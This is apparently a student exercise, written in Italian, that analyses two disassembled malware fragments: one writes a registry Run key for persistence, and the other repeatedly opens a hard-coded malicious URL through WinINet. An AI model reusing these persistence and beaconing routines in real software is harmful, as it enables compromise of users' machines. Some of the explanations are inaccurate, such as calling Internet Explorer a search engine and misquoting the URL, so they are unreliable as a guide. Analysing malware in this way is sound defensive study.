

Oggi andremo ad analizzare i due malware scritti in linguaggio assembly, ed andremo a rispondere alle domande poste nell'esercizio.

I due malware in questione sono i seguenti:

---

```
0040286F  push    2                ; samDesired
00402871  push    eax              ; ulOptions
00402872  push    offset SubKey    ; "Software\\Microsoft\\Windows\\CurrentVersion\\
00402877  push    HKEY_LOCAL_MACHINE ; hKey
0040287C  call    esi ; RegOpenKeyExW
0040287E  test    eax, eax
00402880  jnz     short loc_4028C5
00402882
00402882  loc_402882:
00402882  lea     ecx, [esp+424h+Data]
00402886  push    ecx              ; lpString
00402887  mov     bl, 1
00402889  call    ds:strlenW
0040288F  lea     edx, [eax+eax+2]
00402893  push    edx              ; cbData
00402894  mov     edx, [esp+428h+hKey]
00402898  lea     eax, [esp+428h+Data]
0040289C  push    eax              ; lpData
0040289D  push    1                ; dwType
0040289F  push    0                ; Reserved
004028A1  lea     ecx, [esp+434h+ValueName]
004028A8  push    ecx              ; lpValueName
004028A9  push    edx              ; hKey
004028AA  call    ds:RegSetValueExW
```

---

```

.text:00401150 ; SUBROUTINE
.text:00401150
.text:00401150
.text:00401150 ; DWORD __stdcall StartAddress(LPVOID)
.text:00401150 StartAddress      proc near                ; DATA XREF: sub_4010A
.text:00401150         push     esi
.text:00401151         push     edi
.text:00401152         push     0                        ; dwFlags
.text:00401154         push     0                        ; lpszProxyBypass
.text:00401156         push     0                        ; lpszProxy
.text:00401158         push     1                        ; dwAccessType
.text:0040115A         push     offset szAgent           ; "Internet Explorer 8
.text:0040115F         call     ds:InternetOpenA
.text:00401165         mov     edi, ds:InternetOpenUrlA
.text:00401168         mov     esi, eax
.text:0040116D
.text:0040116D loc_40116D:                            ; CODE XREF: StartAdd
.text:0040116D         push     0                        ; dwContext
.text:0040116F         push     80000000h                 ; dwFlags
.text:00401174         push     0                        ; dwHeadersLength
.text:00401176         push     0                        ; lpszHeaders
.text:00401178         push     offset szUrl              ; "http://www.malware1
.text:0040117D         push     esi                        ; hInternet
.text:0040117E         call     edi ; InternetOpenUrlA
.text:00401180         jmp     short loc_40116D
.text:00401180 StartAddress      endp

```

Risposta domanda numero 1:

come sappiamo, molti malware usano i registri di windows per far si che essi vengano salvati nelle entry dei programmi che vengono avviati all'accensione del PC, in modo tale da ottenere la "persistenza", ovvero l'avvio automatico di essi ogni qualvolta il device venga avviato.

Vediamo come nel primo malware, esso memorizzi il path della chiave di registro che spesso viene usata dai malware per ottenere la persistenza (windows//currentversion//run), poi vediamo come acceda al registro HKEY\_LOCAL\_MACHINE (il registro contenente tutte le configurazioni della macchina in questione) con il comando “push” e poi usa la funzione regopenkeyEx con il comando “call”. Sappiamo che i malware richiamano questa funzione che permette di accedere e modificare chiavi di registro .

Il continuo del codice del malware sono appunto le “modifiche” che quest’ultimo apporta alla chiave di registro affinché possa ottenere la persistenza.

Risposta domanda numero 2:

nel secondo malware, esso usa la chiamata stdcall che viene usata specificatamente per le chiamate di funzione win32 a 32 bit (sappiamo che DWORD indica un intero a 32 bit), ed assegna tramite il puntatore un valore (start address) che sarà il client software usato per la connessione ad internet. Poi chiama diversi parametri e con il comando push li carica nella funzione (ad esempio lpszproxy è un puntatore ad una stringa che contiene l'elenco dei server proxy). Poi indica il motore di ricerca usato (internet explorer 8) che

andrà ad indicare il software client usato per la connessione e chiama due funzioni importanti : `internetopen` (che viene usata per inizializzare una connessione ad internet) ed `internetopenurl` (che reindirizza la connessione aperta ad uno specifico URL).

Poi memorizza nella funzione diversi parametri che appartengono al client software usato per la connessione (`dwheaderslength`, `lpshheaders`) e memorizza anche l'url malevolo al quale la funzione vuole che ci si connetta (`http://malwre12com`), poi con la chiamata `Internetopenurl` termina il suo compito, quindi apre e indirizza il software client all'url memorizzato nella riga di codice poco precedente.